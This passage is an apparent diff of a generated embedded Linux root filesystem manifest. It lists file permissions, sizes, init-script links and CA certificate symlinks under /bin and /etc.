+lrwxrwxrwx root root 22 ./bin/umount -> /bin/umount.util-linux
+-rwsr-xr-x root root 34864 ./bin/umount.util-linux
+lrwxrwxrwx root root 20 ./bin/uname -> /bin/uname.coreutils
+-rwxr-xr-x root root 43208 ./bin/uname.coreutils
+lrwxrwxrwx root root 19 ./bin/usleep -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./bin/vi -> /bin/busybox.nosuid
+lrwxrwxrwx root root 17 ./bin/watch -> /bin/watch.procps
+-rwxr-xr-x root root 27016 ./bin/watch.procps
+lrwxrwxrwx root root 19 ./bin/zcat -> /bin/busybox.nosuid
+drwxr-xr-x root root 4096 ./boot
+drwxr-xr-x root root 4096 ./dev
+drwxr-xr-x root root 4096 ./etc
+-rw-r--r-- root root 45 ./etc/bash_completion
+drwxr-xr-x root root 4096 ./etc/bash_completion.d
+-rw-r--r-- root root 447 ./etc/bindresvport.blacklist
+-rw-r--r-- root root 506 ./etc/build
+-rw-r--r-- root root 2370 ./etc/busybox.links.nosuid
+-rw-r--r-- root root 91 ./etc/busybox.links.suid
+drwxr-xr-x root root 4096 ./etc/ca-certificates
+-rw-r--r-- root root 5340 ./etc/ca-certificates.conf
+drwxr-xr-x root root 4096 ./etc/ca-certificates/update.d
+drwxr-xr-x root root 4096 ./etc/dbus-1
+-rw-r--r-- root root 838 ./etc/dbus-1/session.conf
+-rw-r--r-- root root 833 ./etc/dbus-1/system.conf
+drwxr-xr-x root root 4096 ./etc/default
+-rwxr-xr-x root root 93 ./etc/default/devpts
+-rw-r--r-- root root 36 ./etc/default/mountall
+-rw-r--r-- root root 52 ./etc/default/postinst
+-rw-r--r-- root root 1040 ./etc/default/rcS
+-rw-r--r-- root root 117 ./etc/default/useradd
+drwxr-xr-x root root 4096 ./etc/default/volatiles
+-rw-r--r-- root root 1637 ./etc/default/volatiles/00_core
+-rw-r--r-- root root 36 ./etc/default/volatiles/01_bootlogd
+-rw-r--r-- root root 48 ./etc/default/volatiles/99_dbus
+drwxr-xr-x root root 4096 ./etc/depmod.d
+-rw-r--r-- root root 685 ./etc/e2scrub.conf
+drwxr-xr-x root root 4096 ./etc/fonts
+drwxr-xr-x root root 4096 ./etc/fonts/conf.d
+lrwxrwxrwx root root 63 ./etc/fonts/conf.d/10-hinting-slight.conf -> ../../../usr/share/fontconfig/conf.avail/10-hinting-slight.conf
+lrwxrwxrwx root root 67 ./etc/fonts/conf.d/10-scale-bitmap-fonts.conf -> ../../../usr/share/fontconfig/conf.avail/10-scale-bitmap-fonts.conf
+lrwxrwxrwx root root 66 ./etc/fonts/conf.d/20-unhint-small-vera.conf -> ../../../usr/share/fontconfig/conf.avail/20-unhint-small-vera.conf
+lrwxrwxrwx root root 63 ./etc/fonts/conf.d/30-metric-aliases.conf -> ../../../usr/share/fontconfig/conf.avail/30-metric-aliases.conf
+lrwxrwxrwx root root 57 ./etc/fonts/conf.d/40-nonlatin.conf -> ../../../usr/share/fontconfig/conf.avail/40-nonlatin.conf
+lrwxrwxrwx root root 56 ./etc/fonts/conf.d/45-generic.conf -> ../../../usr/share/fontconfig/conf.avail/45-generic.conf
+lrwxrwxrwx root root 54 ./etc/fonts/conf.d/45-latin.conf -> ../../../usr/share/fontconfig/conf.avail/45-latin.conf
+lrwxrwxrwx root root 58 ./etc/fonts/conf.d/49-sansserif.conf -> ../../../usr/share/fontconfig/conf.avail/49-sansserif.conf
+lrwxrwxrwx root root 53 ./etc/fonts/conf.d/50-user.conf -> ../../../usr/share/fontconfig/conf.avail/50-user.conf
+lrwxrwxrwx root root 54 ./etc/fonts/conf.d/51-local.conf -> ../../../usr/share/fontconfig/conf.avail/51-local.conf
+lrwxrwxrwx root root 56 ./etc/fonts/conf.d/60-generic.conf -> ../../../usr/share/fontconfig/conf.avail/60-generic.conf
+lrwxrwxrwx root root 54 ./etc/fonts/conf.d/60-latin.conf -> ../../../usr/share/fontconfig/conf.avail/60-latin.conf
+lrwxrwxrwx root root 62 ./etc/fonts/conf.d/65-fonts-persian.conf -> ../../../usr/share/fontconfig/conf.avail/65-fonts-persian.conf
+lrwxrwxrwx root root 57 ./etc/fonts/conf.d/65-nonlatin.conf -> ../../../usr/share/fontconfig/conf.avail/65-nonlatin.conf
+lrwxrwxrwx root root 56 ./etc/fonts/conf.d/69-unifont.conf -> ../../../usr/share/fontconfig/conf.avail/69-unifont.conf
+lrwxrwxrwx root root 58 ./etc/fonts/conf.d/80-delicious.conf -> ../../../usr/share/fontconfig/conf.avail/80-delicious.conf
+lrwxrwxrwx root root 58 ./etc/fonts/conf.d/90-synthetic.conf -> ../../../usr/share/fontconfig/conf.avail/90-synthetic.conf
+-rw-r--r-- root root 978 ./etc/fonts/conf.d/README
+-rw-r--r-- root root 2532 ./etc/fonts/fonts.conf
+-rw-r--r-- root root 650 ./etc/fstab
+-rw-r--r-- root root 501 ./etc/group
+-r-------- root root 420 ./etc/gshadow
+-rw-r--r-- root root 26 ./etc/host.conf
+-rw-r--r-- root root 11 ./etc/hostname
+-rw-r--r-- root root 258 ./etc/hosts
+drwxr-xr-x root root 4096 ./etc/init.d
+-rwxr-xr-x root root 492 ./etc/init.d/banner.sh
+-rwxr-xr-x root root 1997 ./etc/init.d/bootlogd
+-rwxr-xr-x root root 2017 ./etc/init.d/bootmisc.sh
+-rwxr-xr-x root root 3591 ./etc/init.d/checkroot.sh
+-rwxr-xr-x root root 2893 ./etc/init.d/dbus-1
+-rwxr-xr-x root root 526 ./etc/init.d/devpts.sh
+-rwxr-xr-x root root 352 ./etc/init.d/dmesg.sh
+-rw-r--r-- root root 2141 ./etc/init.d/functions
+-rwxr-xr-x root root 510 ./etc/init.d/halt
+-rwxr-xr-x root root 580 ./etc/init.d/hostname.sh
+-rwxr-xr-x root root 2541 ./etc/init.d/hwclock.sh
+-rwxr-xr-x root root 1773 ./etc/init.d/mdmonitor
+-rwxr-xr-x root root 1223 ./etc/init.d/modutils.sh
+-rwxr-xr-x root root 869 ./etc/init.d/mountall.sh
+-rwxr-xr-x root root 1589 ./etc/init.d/mountnfs.sh
+-rwxr-xr-x root root 1956 ./etc/init.d/networking
+-rwxr-xr-x root root 7823 ./etc/init.d/populate-volatile.sh
+-rwxr-xr-x root root 4457 ./etc/init.d/rc
+-rwxr-xr-x root root 525 ./etc/init.d/rcS
+-rwxr-xr-x root root 1273 ./etc/init.d/read-only-rootfs-hook.sh
+-rwxr-xr-x root root 289 ./etc/init.d/reboot
+-rwxr-xr-x root root 585 ./etc/init.d/rmnologin.sh
+-rwxr-xr-x root root 25 ./etc/init.d/run-postinsts
+-rwxr-xr-x root root 429 ./etc/init.d/save-rtc.sh
+-rwxr-xr-x root root 438 ./etc/init.d/sendsigs
+-rwxr-xr-x root root 578 ./etc/init.d/single
+lrwxrwxrwx root root 8 ./etc/init.d/stop-bootlogd -> bootlogd
+-rwxr-xr-x root root 1046 ./etc/init.d/sysfs.sh
+-rwxr-xr-x root root 2066 ./etc/init.d/syslog
+-rwxr-xr-x root root 2779 ./etc/init.d/udev
+-rwxr-xr-x root root 540 ./etc/init.d/umountfs
+-rwxr-xr-x root root 711 ./etc/init.d/umountnfs.sh
+-rwxr-xr-x root root 1473 ./etc/init.d/urandom
+-rw-r--r-- root root 1140 ./etc/inittab
+-rw-r--r-- root root 1633 ./etc/inputrc
+drwxr-xr-x root root 4096 ./etc/iproute2
+-rw-r--r-- root root 85 ./etc/iproute2/bpf_pinning
+-rw-r--r-- root root 81 ./etc/iproute2/ematch_map
+-rw-r--r-- root root 31 ./etc/iproute2/group
+-rw-r--r-- root root 262 ./etc/iproute2/nl_protos
+-rw-r--r-- root root 331 ./etc/iproute2/rt_dsfield
+-rw-r--r-- root root 201 ./etc/iproute2/rt_protos
+-rw-r--r-- root root 112 ./etc/iproute2/rt_realms
+-rw-r--r-- root root 92 ./etc/iproute2/rt_scopes
+-rw-r--r-- root root 87 ./etc/iproute2/rt_tables
+drwxr-xr-x root root 4096 ./etc/iptables
+-rw-r--r-- root root 0 ./etc/iptables/ip6tables.rules
+-rw-r--r-- root root 0 ./etc/iptables/iptables.rules
+-rw-r--r-- root root 58 ./etc/issue
+-rw-r--r-- root root 55 ./etc/issue.net
+-rw-r--r-- root root 18635 ./etc/ld.so.cache
+-rw-r--r-- root root 33 ./etc/ld.so.conf
+-rw-r--r-- root root 827 ./etc/limits
+-rw-r--r-- root root 2006 ./etc/login.access
+-rw-r--r-- root root 12001 ./etc/login.defs
+-rw-r--r-- root root 121 ./etc/logrotate-dmesg.conf
+-rw-r--r-- root root 2687 ./etc/mdadm.conf
+-rw-r--r-- root root 812 ./etc/mke2fs.conf
+drwxr-xr-x root root 4096 ./etc/modprobe.d
+-rw-r--r-- root root 0 ./etc/motd
+lrwxrwxrwx root root 12 ./etc/mtab -> /proc/mounts
+-rw-r--r-- root root 767 ./etc/netconfig
+drwxr-xr-x root root 4096 ./etc/network
+drwxr-xr-x root root 4096 ./etc/network/if-down.d
+drwxr-xr-x root root 4096 ./etc/network/if-post-down.d
+drwxr-xr-x root root 4096 ./etc/network/if-pre-up.d
+-rwxr-xr-x root root 809 ./etc/network/if-pre-up.d/nfsroot
+drwxr-xr-x root root 4096 ./etc/network/if-up.d
+-rw-r--r-- root root 132 ./etc/network/interfaces
+-rw-r--r-- root root 0 ./etc/network/nm-disabled-eth0
+-rw-r--r-- root root 465 ./etc/nsswitch.conf
+-rw-r--r-- root root 767 ./etc/passwd
+-rw-r--r-- root root 984 ./etc/profile
+drwxr-xr-x root root 4096 ./etc/profile.d
+-rw-r--r-- root root 729 ./etc/profile.d/bash_completion.sh
+-rw-r--r-- root root 1107 ./etc/profile.d/gawk.csh
+-rw-r--r-- root root 757 ./etc/profile.d/gawk.sh
+-rw-r--r-- root root 2932 ./etc/protocols
+drwxr-xr-x root root 4096 ./etc/rc0.d
+lrwxrwxrwx root root 16 ./etc/rc0.d/K20dbus-1 -> ../init.d/dbus-1
+lrwxrwxrwx root root 20 ./etc/rc0.d/K20hwclock.sh -> ../init.d/hwclock.sh
+lrwxrwxrwx root root 16 ./etc/rc0.d/K20syslog -> ../init.d/syslog
+lrwxrwxrwx root root 20 ./etc/rc0.d/K80networking -> ../init.d/networking
+lrwxrwxrwx root root 18 ./etc/rc0.d/S20sendsigs -> ../init.d/sendsigs
+lrwxrwxrwx root root 21 ./etc/rc0.d/S25save-rtc.sh -> ../init.d/save-rtc.sh
+lrwxrwxrwx root root 22 ./etc/rc0.d/S31umountnfs.sh -> ../init.d/umountnfs.sh
+lrwxrwxrwx root root 17 ./etc/rc0.d/S38urandom -> ../init.d/urandom
+lrwxrwxrwx root root 18 ./etc/rc0.d/S40umountfs -> ../init.d/umountfs
+lrwxrwxrwx root root 14 ./etc/rc0.d/S90halt -> ../init.d/halt
+drwxr-xr-x root root 4096 ./etc/rc1.d
+lrwxrwxrwx root root 16 ./etc/rc1.d/K20dbus-1 -> ../init.d/dbus-1
+lrwxrwxrwx root root 20 ./etc/rc1.d/K20hwclock.sh -> ../init.d/hwclock.sh
+lrwxrwxrwx root root 16 ./etc/rc1.d/K20syslog -> ../init.d/syslog
+lrwxrwxrwx root root 20 ./etc/rc1.d/K80networking -> ../init.d/networking
+lrwxrwxrwx root root 22 ./etc/rc1.d/S31umountnfs.sh -> ../init.d/umountnfs.sh
+drwxr-xr-x root root 4096 ./etc/rc2.d
+lrwxrwxrwx root root 20 ./etc/rc2.d/S01networking -> ../init.d/networking
+lrwxrwxrwx root root 16 ./etc/rc2.d/S02dbus-1 -> ../init.d/dbus-1
+lrwxrwxrwx root root 21 ./etc/rc2.d/S15mountnfs.sh -> ../init.d/mountnfs.sh
+lrwxrwxrwx root root 20 ./etc/rc2.d/S20hwclock.sh -> ../init.d/hwclock.sh
+lrwxrwxrwx root root 16 ./etc/rc2.d/S20syslog -> ../init.d/syslog
+lrwxrwxrwx root root 22 ./etc/rc2.d/S99rmnologin.sh -> ../init.d/rmnologin.sh
+lrwxrwxrwx root root 23 ./etc/rc2.d/S99stop-bootlogd -> ../init.d/stop-bootlogd
+drwxr-xr-x root root 4096 ./etc/rc3.d
+lrwxrwxrwx root root 20 ./etc/rc3.d/S01networking -> ../init.d/networking
+lrwxrwxrwx root root 16 ./etc/rc3.d/S02dbus-1 -> ../init.d/dbus-1
+lrwxrwxrwx root root 21 ./etc/rc3.d/S15mountnfs.sh -> ../init.d/mountnfs.sh
+lrwxrwxrwx root root 20 ./etc/rc3.d/S20hwclock.sh -> ../init.d/hwclock.sh
+lrwxrwxrwx root root 16 ./etc/rc3.d/S20syslog -> ../init.d/syslog
+lrwxrwxrwx root root 22 ./etc/rc3.d/S99rmnologin.sh -> ../init.d/rmnologin.sh
+lrwxrwxrwx root root 23 ./etc/rc3.d/S99stop-bootlogd -> ../init.d/stop-bootlogd
+drwxr-xr-x root root 4096 ./etc/rc4.d
+lrwxrwxrwx root root 20 ./etc/rc4.d/S01networking -> ../init.d/networking
+lrwxrwxrwx root root 21 ./etc/rc4.d/S15mountnfs.sh -> ../init.d/mountnfs.sh
+lrwxrwxrwx root root 20 ./etc/rc4.d/S20hwclock.sh -> ../init.d/hwclock.sh
+lrwxrwxrwx root root 16 ./etc/rc4.d/S20syslog -> ../init.d/syslog
+lrwxrwxrwx root root 22 ./etc/rc4.d/S99rmnologin.sh -> ../init.d/rmnologin.sh
+lrwxrwxrwx root root 23 ./etc/rc4.d/S99stop-bootlogd -> ../init.d/stop-bootlogd
+drwxr-xr-x root root 4096 ./etc/rc5.d
+lrwxrwxrwx root root 20 ./etc/rc5.d/S01networking -> ../init.d/networking
+lrwxrwxrwx root root 16 ./etc/rc5.d/S02dbus-1 -> ../init.d/dbus-1
+lrwxrwxrwx root root 21 ./etc/rc5.d/S15mountnfs.sh -> ../init.d/mountnfs.sh
+lrwxrwxrwx root root 20 ./etc/rc5.d/S20hwclock.sh -> ../init.d/hwclock.sh
+lrwxrwxrwx root root 16 ./etc/rc5.d/S20syslog -> ../init.d/syslog
+lrwxrwxrwx root root 22 ./etc/rc5.d/S99rmnologin.sh -> ../init.d/rmnologin.sh
+lrwxrwxrwx root root 23 ./etc/rc5.d/S99stop-bootlogd -> ../init.d/stop-bootlogd
+drwxr-xr-x root root 4096 ./etc/rc6.d
+lrwxrwxrwx root root 16 ./etc/rc6.d/K20dbus-1 -> ../init.d/dbus-1
+lrwxrwxrwx root root 20 ./etc/rc6.d/K20hwclock.sh -> ../init.d/hwclock.sh
+lrwxrwxrwx root root 16 ./etc/rc6.d/K20syslog -> ../init.d/syslog
+lrwxrwxrwx root root 20 ./etc/rc6.d/K80networking -> ../init.d/networking
+lrwxrwxrwx root root 18 ./etc/rc6.d/S20sendsigs -> ../init.d/sendsigs
+lrwxrwxrwx root root 21 ./etc/rc6.d/S25save-rtc.sh -> ../init.d/save-rtc.sh
+lrwxrwxrwx root root 22 ./etc/rc6.d/S31umountnfs.sh -> ../init.d/umountnfs.sh
+lrwxrwxrwx root root 17 ./etc/rc6.d/S38urandom -> ../init.d/urandom
+lrwxrwxrwx root root 18 ./etc/rc6.d/S40umountfs -> ../init.d/umountfs
+lrwxrwxrwx root root 16 ./etc/rc6.d/S90reboot -> ../init.d/reboot
+drwxr-xr-x root root 4096 ./etc/rcS.d
+lrwxrwxrwx root root 19 ./etc/rcS.d/S02banner.sh -> ../init.d/banner.sh
+lrwxrwxrwx root root 18 ./etc/rcS.d/S02sysfs.sh -> ../init.d/sysfs.sh
+lrwxrwxrwx root root 21 ./etc/rcS.d/S03mountall.sh -> ../init.d/mountall.sh
+lrwxrwxrwx root root 14 ./etc/rcS.d/S04udev -> ../init.d/udev
+lrwxrwxrwx root root 21 ./etc/rcS.d/S05modutils.sh -> ../init.d/modutils.sh
+lrwxrwxrwx root root 22 ./etc/rcS.d/S06checkroot.sh -> ../init.d/checkroot.sh
+lrwxrwxrwx root root 19 ./etc/rcS.d/S06devpts.sh -> ../init.d/devpts.sh
+lrwxrwxrwx root root 18 ./etc/rcS.d/S07bootlogd -> ../init.d/bootlogd
+lrwxrwxrwx root root 34 ./etc/rcS.d/S29read-only-rootfs-hook.sh -> ../init.d/read-only-rootfs-hook.sh
+lrwxrwxrwx root root 21 ./etc/rcS.d/S36bootmisc.sh -> ../init.d/bootmisc.sh
+lrwxrwxrwx root root 30 ./etc/rcS.d/S37populate-volatile.sh -> ../init.d/populate-volatile.sh
+lrwxrwxrwx root root 18 ./etc/rcS.d/S38dmesg.sh -> ../init.d/dmesg.sh
+lrwxrwxrwx root root 17 ./etc/rcS.d/S38urandom -> ../init.d/urandom
+lrwxrwxrwx root root 21 ./etc/rcS.d/S39hostname.sh -> ../init.d/hostname.sh
+-rw-r--r-- root root 887 ./etc/rpc
+-r-------- root root 1848 ./etc/securetty
+-rw-r--r-- root root 14464 ./etc/services
+-r-------- root root 404 ./etc/shadow
+-rw-r--r-- root root 52 ./etc/shells
+drwxr-xr-x root root 4096 ./etc/skel
+-rwxr-xr-x root root 410 ./etc/skel/.bashrc
+-rwxr-xr-x root root 241 ./etc/skel/.profile
+drwxr-xr-x root root 4096 ./etc/ssl
+drwxr-xr-x root root 16384 ./etc/ssl/certs
+lrwxrwxrwx root root 45 ./etc/ssl/certs/02265526.0 -> Entrust_Root_Certification_Authority_-_G2.pem
+lrwxrwxrwx root root 36 ./etc/ssl/certs/03179a64.0 -> Staat_der_Nederlanden_EV_Root_CA.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/062cdee6.0 -> GlobalSign_Root_CA_-_R3.pem
+lrwxrwxrwx root root 25 ./etc/ssl/certs/064e0aa9.0 -> QuoVadis_Root_CA_2_G3.pem
+lrwxrwxrwx root root 50 ./etc/ssl/certs/06dc52d5.0 -> SSL.com_EV_Root_Certification_Authority_RSA_R2.pem
+lrwxrwxrwx root root 20 ./etc/ssl/certs/080911ac.0 -> QuoVadis_Root_CA.pem
+lrwxrwxrwx root root 54 ./etc/ssl/certs/09789157.0 -> Starfield_Services_Root_Certificate_Authority_-_G2.pem
+lrwxrwxrwx root root 16 ./etc/ssl/certs/0b1b94ef.0 -> CFCA_EV_ROOT.pem
+lrwxrwxrwx root root 44 ./etc/ssl/certs/0bf05006.0 -> SSL.com_Root_Certification_Authority_ECC.pem
+lrwxrwxrwx root root 34 ./etc/ssl/certs/0c4c9b6c.0 -> Global_Chambersign_Root_-_2008.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/0f6fa695.0 -> GDCA_TrustAUTH_R5_ROOT.pem
+lrwxrwxrwx root root 46 ./etc/ssl/certs/106f3e4d.0 -> Entrust_Root_Certification_Authority_-_EC1.pem
+lrwxrwxrwx root root 49 ./etc/ssl/certs/116bf586.0 -> GeoTrust_Primary_Certification_Authority_-_G2.pem
+lrwxrwxrwx root root 35 ./etc/ssl/certs/128805a3.0 -> EE_Certification_Centre_Root_CA.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/157753a5.0 -> AddTrust_External_Root.pem
+lrwxrwxrwx root root 59 ./etc/ssl/certs/1636090b.0 -> Hellenic_Academic_and_Research_Institutions_RootCA_2011.pem
+lrwxrwxrwx root root 23 ./etc/ssl/certs/18856ac4.0 -> SecureSign_RootCA11.pem
+lrwxrwxrwx root root 31 ./etc/ssl/certs/1d3472b9.0 -> GlobalSign_ECC_Root_CA_-_R5.pem
+lrwxrwxrwx root root 37 ./etc/ssl/certs/1e08bfd1.0 -> IdenTrust_Public_Sector_Root_CA_1.pem
+lrwxrwxrwx root root 32 ./etc/ssl/certs/1e09d511.0 -> T-TeleSec_GlobalRoot_Class_2.pem
+lrwxrwxrwx root root 38 ./etc/ssl/certs/244b5494.0 -> DigiCert_High_Assurance_EV_Root_CA.pem
+lrwxrwxrwx root root 20 ./etc/ssl/certs/2ae6433e.0 -> CA_Disig_Root_R2.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/2b349938.0 -> AffirmTrust_Commercial.pem
+lrwxrwxrwx root root 22 ./etc/ssl/certs/2c543cd1.0 -> GeoTrust_Global_CA.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/2e4eed3c.0 -> thawte_Primary_Root_CA.pem
+lrwxrwxrwx root root 18 ./etc/ssl/certs/2e5ac55d.0 -> DST_Root_CA_X3.pem
+lrwxrwxrwx root root 59 ./etc/ssl/certs/32888f65.0 -> Hellenic_Academic_and_Research_Institutions_RootCA_2015.pem
+lrwxrwxrwx root root 10 ./etc/ssl/certs/349f2832.0 -> EC-ACC.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/3513523f.0 -> DigiCert_Global_Root_CA.pem
+lrwxrwxrwx root root 61 ./etc/ssl/certs/3bde41ac.0 -> Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/3e44d2f7.0 -> TrustCor_RootCert_CA-2.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/3e45d192.0 -> Hongkong_Post_Root_CA_1.pem
+lrwxrwxrwx root root 31 ./etc/ssl/certs/40193066.0 -> Certum_Trusted_Network_CA_2.pem
+lrwxrwxrwx root root 16 ./etc/ssl/certs/4042bcee.0 -> ISRG_Root_X1.pem
+lrwxrwxrwx root root 34 ./etc/ssl/certs/40547a79.0 -> COMODO_Certification_Authority.pem
+lrwxrwxrwx root root 43 ./etc/ssl/certs/4304c5e5.0 -> Network_Solutions_Certificate_Authority.pem
+lrwxrwxrwx root root 44 ./etc/ssl/certs/480720ec.0 -> GeoTrust_Primary_Certification_Authority.pem
+lrwxrwxrwx root root 29 ./etc/ssl/certs/48bec511.0 -> Certum_Trusted_Network_CA.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/4a6481c9.0 -> GlobalSign_Root_CA_-_R2.pem
+lrwxrwxrwx root root 45 ./etc/ssl/certs/4bfab552.0 -> Starfield_Root_Certificate_Authority_-_G2.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/4f316efb.0 -> SwissSign_Gold_CA_-_G2.pem
+lrwxrwxrwx root root 35 ./etc/ssl/certs/5273a94c.0 -> E-Tugra_Certification_Authority.pem
+lrwxrwxrwx root root 32 ./etc/ssl/certs/5443e9e3.0 -> T-TeleSec_GlobalRoot_Class_3.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/54657681.0 -> Buypass_Class_2_Root_CA.pem
+lrwxrwxrwx root root 28 ./etc/ssl/certs/57bcb2da.0 -> SwissSign_Silver_CA_-_G2.pem
+lrwxrwxrwx root root 38 ./etc/ssl/certs/5a4d6896.0 -> Staat_der_Nederlanden_Root_CA_-_G3.pem
+lrwxrwxrwx root root 22 ./etc/ssl/certs/5ad8a5d6.0 -> GlobalSign_Root_CA.pem
+lrwxrwxrwx root root 38 ./etc/ssl/certs/5c44d531.0 -> Staat_der_Nederlanden_Root_CA_-_G2.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/5cd81ad7.0 -> TeliaSonera_Root_CA_v1.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/5d3033c5.0 -> TrustCor_RootCert_CA-1.pem
+lrwxrwxrwx root root 23 ./etc/ssl/certs/5f15c80c.0 -> TWCA_Global_Root_CA.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/607986c7.0 -> DigiCert_Global_Root_G2.pem
+lrwxrwxrwx root root 15 ./etc/ssl/certs/6410666e.0 -> Taiwan_GRCA.pem
+lrwxrwxrwx root root 29 ./etc/ssl/certs/653b494a.0 -> Baltimore_CyberTrust_Root.pem
+lrwxrwxrwx root root 40 ./etc/ssl/certs/6b99d060.0 -> Entrust_Root_Certification_Authority.pem
+lrwxrwxrwx root root 20 ./etc/ssl/certs/6d41d539.0 -> Amazon_Root_CA_2.pem
+lrwxrwxrwx root root 44 ./etc/ssl/certs/6fa5da56.0 -> SSL.com_Root_Certification_Authority_RSA.pem
+lrwxrwxrwx root root 24 ./etc/ssl/certs/706f604c.0 -> XRamp_Global_CA_Root.pem
+lrwxrwxrwx root root 25 ./etc/ssl/certs/749e9e03.0 -> QuoVadis_Root_CA_1_G3.pem
+lrwxrwxrwx root root 28 ./etc/ssl/certs/75d1b2ed.0 -> DigiCert_Trusted_Root_G4.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/76cb8f92.0 -> Cybertrust_Global_Root.pem
+lrwxrwxrwx root root 22 ./etc/ssl/certs/76faf6c0.0 -> QuoVadis_Root_CA_3.pem
+lrwxrwxrwx root root 63 ./etc/ssl/certs/7719f463.0 -> Hellenic_Academic_and_Research_Institutions_ECC_RootCA_2015.pem
+lrwxrwxrwx root root 35 ./etc/ssl/certs/773e07ad.0 -> OISTE_WISeKey_Global_Root_GC_CA.pem
+lrwxrwxrwx root root 18 ./etc/ssl/certs/7aaf71c0.0 -> TrustCor_ECA-1.pem
+lrwxrwxrwx root root 64 ./etc/ssl/certs/7d0b38bd.0 -> VeriSign_Class_3_Public_Primary_Certification_Authority_-_G4.pem
+lrwxrwxrwx root root 31 ./etc/ssl/certs/7f3d5d1d.0 -> DigiCert_Assured_ID_Root_G3.pem
+lrwxrwxrwx root root 30 ./etc/ssl/certs/812e17de.0 -> Deutsche_Telekom_Root_CA_2.pem
+lrwxrwxrwx root root 34 ./etc/ssl/certs/8160b96c.0 -> Microsec_e-Szigno_Root_CA_2009.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/8867006a.0 -> GeoTrust_Universal_CA_2.pem
+lrwxrwxrwx root root 20 ./etc/ssl/certs/8cb5ee0f.0 -> Amazon_Root_CA_3.pem
+lrwxrwxrwx root root 20 ./etc/ssl/certs/8d86cdd1.0 -> certSIGN_ROOT_CA.pem
+lrwxrwxrwx root root 34 ./etc/ssl/certs/930ac5d2.0 -> Actalis_Authentication_Root_CA.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/93bc0acc.0 -> AffirmTrust_Networking.pem
+lrwxrwxrwx root root 48 ./etc/ssl/certs/988a38cb.0 -> NetLock_Arany_=Class_Gold=_Főtanúsítvány.pem
+lrwxrwxrwx root root 26 ./etc/ssl/certs/9c2e7d30.0 -> Sonera_Class_2_Root_CA.pem
+lrwxrwxrwx root root 27 ./etc/ssl/certs/9c8dfbd4.0 -> AffirmTrust_Premium_ECC.pem
+lrwxrwxrwx root root 31 ./etc/ssl/certs/9d04f354.0 -> DigiCert_Assured_ID_Root_G2.pem
+lrwxrwxrwx root root 24 ./etc/ssl/certs/9f0f5fd6.0 -> Certinomis_-_Root_CA.pem
+lrwxrwxrwx root root 13 ./etc/ssl/certs/a94d09e5.0 -> ACCVRAIZ1.pem
+lrwxrwxrwx root root 56 ./etc/ssl/certs/ACCVRAIZ1.pem -> ../../../usr/share/ca-certificates/mozilla/ACCVRAIZ1.crt
+lrwxrwxrwx root root 63 ./etc/ssl/certs/AC_RAIZ_FNMT-RCM.pem -> ../../../usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM.crt
+lrwxrwxrwx root root 77 ./etc/ssl/certs/Actalis_Authentication_Root_CA.pem -> ../../../usr/share/ca-certificates/mozilla/Actalis_Authentication_Root_CA.crt
+lrwxrwxrwx root root 25 ./etc/ssl/certs/ad088e1d.0 -> GeoTrust_Universal_CA.pem
+lrwxrwxrwx root root 69 ./etc/ssl/certs/AddTrust_External_Root.pem -> ../../../usr/share/ca-certificates/mozilla/AddTrust_External_Root.crt
+lrwxrwxrwx root root 45 ./etc/ssl/certs/aee5f10d.0 -> Entrust.net_Premium_2048_Secure_Server_CA.pem
+lrwxrwxrwx root root 69 ./etc/ssl/certs/AffirmTrust_Commercial.pem -> ../../../usr/share/ca-certificates/mozilla/AffirmTrust_Commercial.crt
+lrwxrwxrwx root root 69 ./etc/ssl/certs/AffirmTrust_Networking.pem -> ../../../usr/share/ca-certificates/mozilla/AffirmTrust_Networking.crt
+lrwxrwxrwx root root 70 ./etc/ssl/certs/AffirmTrust_Premium_ECC.pem -> ../../../usr/share/ca-certificates/mozilla/AffirmTrust_Premium_ECC.crt
+lrwxrwxrwx root root 66 ./etc/ssl/certs/AffirmTrust_Premium.pem -> ../../../usr/share/ca-certificates/mozilla/AffirmTrust_Premium.crt
+lrwxrwxrwx root root 63 ./etc/ssl/certs/Amazon_Root_CA_1.pem -> ../../../usr/share/ca-certificates/mozilla/Amazon_Root_CA_1.crt
+lrwxrwxrwx root root 63 ./etc/ssl/certs/Amazon_Root_CA_2.pem -> ../../../usr/share/ca-certificates/mozilla/Amazon_Root_CA_2.crt
+lrwxrwxrwx root root 63 ./etc/ssl/certs/Amazon_Root_CA_3.pem -> ../../../usr/share/ca-certificates/mozilla/Amazon_Root_CA_3.crt
+lrwxrwxrwx root root 63 ./etc/ssl/certs/Amazon_Root_CA_4.pem -> ../../../usr/share/ca-certificates/mozilla/Amazon_Root_CA_4.crt
+lrwxrwxrwx root root 68 ./etc/ssl/certs/Atos_TrustedRoot_2011.pem -> ../../../usr/share/ca-certificates/mozilla/Atos_TrustedRoot_2011.crt
+lrwxrwxrwx root root 104 ./etc/ssl/certs/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.pem -> ../../../usr/share/ca-certificates/mozilla/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.crt
+lrwxrwxrwx root root 31 ./etc/ssl/certs/b0e59380.0 -> GlobalSign_ECC_Root_CA_-_R4.pem
+lrwxrwxrwx root root 31 ./etc/ssl/certs/b1159c4c.0 -> DigiCert_Assured_ID_Root_CA.pem
+lrwxrwxrwx root root 35 ./etc/ssl/certs/b1b8a7f3.0 -> OISTE_WISeKey_Global_Root_GA_CA.pem
+lrwxrwxrwx root root 64 ./etc/ssl/certs/b204d74a.0 -> VeriSign_Class_3_Public_Primary_Certification_Authority_-_G5.pem
